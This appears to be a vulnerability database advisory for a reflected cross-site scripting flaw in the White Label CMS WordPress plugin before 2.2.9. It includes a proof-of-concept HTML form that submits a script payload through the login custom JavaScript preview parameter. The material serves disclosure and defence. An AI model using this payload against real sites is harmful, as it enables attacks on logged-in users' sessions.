WordPress Plugin Vulnerabilities
White Label MS < 2.2.9 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and validate the wlcms[_login_custom_js] parameter before outputting it back in the response while previewing, leading to a Reflected Cross-Site Scripting issue
Proof of Concept
In v < 2.2.8, both unauthenticated and authenticated users can be attacked with it. In 2.2.8, it will only trigger against authenticated user
<html>
<body>
<form action="https://example.com/wp-login.php?wlcms-action=preview" method="POST">
<input type="text" value='alert(/XSS/);' name="wlcms[_login_custom_js]" />
<input type="submit" value="Exploit me pls" />
</form>
</body>
</html>
Affects Plugins
Fixed in 2.2.9 References
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-02-07 (about 2 years ago)
Added
2022-02-07 (about 2 years ago)
Last Updated
2022-04-13 (about 2 years ago)
WPScan 